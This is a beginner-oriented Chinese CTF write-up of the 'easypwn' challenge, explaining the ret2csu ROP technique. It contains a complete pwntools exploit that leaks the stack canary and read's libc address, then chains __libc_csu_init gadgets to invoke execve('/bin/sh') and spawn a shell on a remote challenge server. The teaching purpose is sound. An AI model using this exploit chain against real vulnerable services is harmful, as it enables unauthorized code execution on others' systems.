中级ROP-ret2__libc_csu_init

这个题是“百度杯”CTF比赛十二月场上的一个题“easypwn”

题目文件：easypwn

链接：https://pan.baidu.com/s/1aPTSUMHT-1JR2yWJgo2B-g 密码：id3x

刚开始没多久，所以这个可能记录的比较详细一点，特别适合新手

静态分析找溢出点：

丢到IDA里面就一个主函数，也没有求其他什么的函数，漏洞就在这里能写（read）的空间比初始化（memset）的空间大

这样的话我们可以在read写入缓冲区的时候多写一点，覆盖掉一些信息

漏洞利用：

首先，查看这个文件的位数以及开启的安全机制：

测试运行一下：

直接去看大佬的writeup，学习姿势：

#/usr/env/bin python
from pwn import *
context.binary = './easypwn'
#context.terminal = ['tmux','sp','-h']
context.log_level = 'debug'
elf = ELF('./easypwn')
#io = process('./easypwn')
io = remote('106.75.66.195', 20000)
#leak Canary
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
io.recvuntil('A'*(0x50-0x8)) 
canary = u64(io.recv(8))-0xa
log.info('canary:'+hex(canary))
#leak read_addr
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007f3)
payload += p64(elf.got['read'])	
payload += p64(elf.plt['puts'])
payload += p64(0x4006C6)
io.send(payload)
io.recvuntil('See you again!\n')
#cacl syscall_addr
read_addr = u64(io.recvuntil('\n',drop=True).ljust(0x8,'\x00'))
log.info('read_addr:'+hex(read_addr))
syscall = read_addr+0xe
log.info('syscall:'+hex(syscall))
sleep(0.5)
io.recvuntil('Who are you?\n')
io.sendline('A'*(0x50-0x8))
#gdb.attach(io,'b *0x4007d6')
#execve("/bin/sh",NULL,NULL)
io.recvuntil('tell me your real name?\n')
payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)

io.send(payload)
sleep(0.5)
raw_input('Go?')
content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
io.send(content)
io.interactive()

脚本分析：

脚本刚开始的环境配置调试模式就不说了，从向程序发送的第一个数据开始

发送的数据 "A"*(0x50-0x8)，这个长度刚刚好是缓冲区的大小：

这里可以得到缓冲区的大小，要注意的是减去的0x08是留给了canary的空间

我们知道程序在收到这段数据之后会返回过来，我们发送过去的方式是sendline()方式最后会追加一个字节0a（回车符）这样的话刚刚好把canary的第一个字节00给覆盖掉了，再返回字符串时候就不就会被canary的这个00字节给截断，实现泄露canary的目的，当然这样获取到的canary是多了0x0a的，所以之后又减掉了一个。发送过去的数据和收到的数据是这样的：

很明显的可以看到在一串A后面多了一个0a，这个0a之后的七个字节就是canary的有效字节。到此为止获取到了canary。

之后发送第一个payload直接看图：

解释一下payload构造的目的：

payload = 'A'*(0x50-0x8)    #填充buffer的空间
payload += p64(canary)      #将之前获取到的canary打包，拼在payload里面，保证canary检查正确
payload += 'A'*0x8          #覆盖原来的调用这个函数的时候保存的rbp共8个字节
payload += p64(0x4007f3)    #这里利用ret之前的一小段代码，后面详细解释
payload += p64(elf.got['read'])    #此处read_got指向read函数实际加载起来的真实地址   
payload += p64(elf.plt['puts'])    #调用puts函数将上面的地址打印泄露出来
payload += p64(0x4006C6)           #控制程序再次执行main函数

这里解释为什么使用 0x4007f3 这个地址，很显然这个payload发送过去栈的结构已经确定，0x4007f3的位置就是返回地址，要跳转过去执行，先看看那里是什么：

看到这个地方肯定会有疑问为什么执行这句汇编指令的地址是 0x4007f3 ，这句不是从 0x4007f2 开始的吗？不理解的话可能会觉得这里是错了应该是利用 0x4007f2 这个地址。

这里有一个博客里面说的比较详细：

再解释为什么要使用这段代码：

再64位的操作系统中，参数传递的顺序如下：

我们知道了rdi寄存器是传递第一个参数，因此控制了rdi就可以向被调用函数传递第一个参数，这是后再复现一下刚才的payload部署的栈空间的结构：

因此通过这个payload能够使得程序泄露出read函数的实际加载地址，并且程序能够再次执行main函数，提供再次利用溢出漏洞的条件。

接下来程序在按照我们的部署泄露read地址之后，再一次回到了main函数的开始，再一次利用漏洞，这里讲脚本里的第二个payload的构造原理：

payload = 'A'*(0x50-0x8)
payload += p64(canary)
payload += 'A'*0x8
payload += p64(0x4007EA)
payload += p64(0)+p64(1)+p64(elf.got['read'])+p64(0x3B)+p64(0x601080)+p64(0)
payload += p64(0x4007D0)
payload += p64(0)
payload += p64(0)+p64(1)+p64(0x601088)+p64(0)+p64(0)+p64(0x601080)
payload += p64(0x4007D0)

这里直接看结构图：

根据栈空间的分布，第一次跳转到0x4007d0，执行call之前三条指令，分别将r13,r14,r15d的值赋给了rdx,rsi,edi三个寄存器。我们可以发现r13,r14,r15中的值是我们写进去的，最终传递到了rdx,rsi,edi三个寄存器中，其实就是可以通过构造payload和控制执行流间接三个寄存器，而之后的call qword [r12+rbp*8],这里用到的两个寄存器也是我们pop进去的值，这样我们通过控制r12就可以让程序执行我们想要执行的函数。

然后理一下这前半部分导致call执行的是什么函数，rbp寄存器中的值为0，r12的值是read函数的got地址，call [r12+rbp*8]就是实际运行read函数。

容易知道read函数一共有三个参数
read(int fd;char * buf,size_t count);
如果read函数成功执行，则会返回read到的字节数，按照64位操作系统传递参数的顺序，三个参数依次存放于rdi,rsi,rdx。
由于我们之前的部署，
rdi(edi)=r15d=0
rsi=r14=0x601080
rdx=r13=0x3B
故
read(0,*buf=(0x601080),0x3B);

这时main函数已经没有了输入的位置，第一个参数为0，表示标准键盘输入，这就需要exp向程序输入，这就是最后的

content = '/bin/sh\x00'+p64(syscall)
content = content.ljust(0x3B,'A')
io.send(content)

这里send过去的数据就是上面调用的read函数读进去的东西。

这里还有两个点：
为什么第二个参数是0x601080，为什么第三个参数是0x3B

0x601080 ：指向的位置是bss段，bss段是用来存放程序中未初始化的全局变量的一块内存区域，这段内存空间，内存情况见图所示

0x3B ：在64位操作系统中，作为系统调用号，所调用的函数是execve函数，关于execve函数这里再科普一下，execve函数

不清楚的可以看看这个https://blog.csdn.net/chichoxian/article/details/53486131

read函数执行之后会返回读取到的字节数，这个值是由rax寄存器保存，所以通过read函数控制我们输入的字节数就可以使得不同的系统调用号存入rax。

执行完 call qword [r12+rbp*8]之后：

rbx+1 与 rbp比较刚好相等（之前的pop使得rbx=0;rbp=1）

跳转不成立，对asp+8，由于栈是向低地址方向增长，所以asp+8相当于当前栈顶元素出栈

所以在payload中第一个0x4007d0之后的0是应对这个asp+8命令，再往后是和刚才一样的一路pop操作，控制相关寄存器的值，在此调用0x4007d0当再一次执行到 call qword[ r12+rbp*8 ] 的时候，寄存器部署情况如下：

r12 = 0x601088，这个地址就是我们最后发送给进程的syscall的实际运行地址

rdi 的低字edi = r15d = 0x601080，这是指向的是字符串 “/bin/sh”

rsi = r14 = 0

rdx = r13 = 0

这时候还有之前的 rax = 0x3B,程序执行syscall中断，从rax中取得系统调用号0x3B，去执行对应函数execve，execve函数通过三个寄存器获取运行所需要的三个参数，就是 rdi, rsi, rdx，这三个的值已经部署好了，即执行

execve（‘/bin/sh’，0，0）

这个函数执行，就会开启一个shell，成功拿到shell之后找flag就不说了。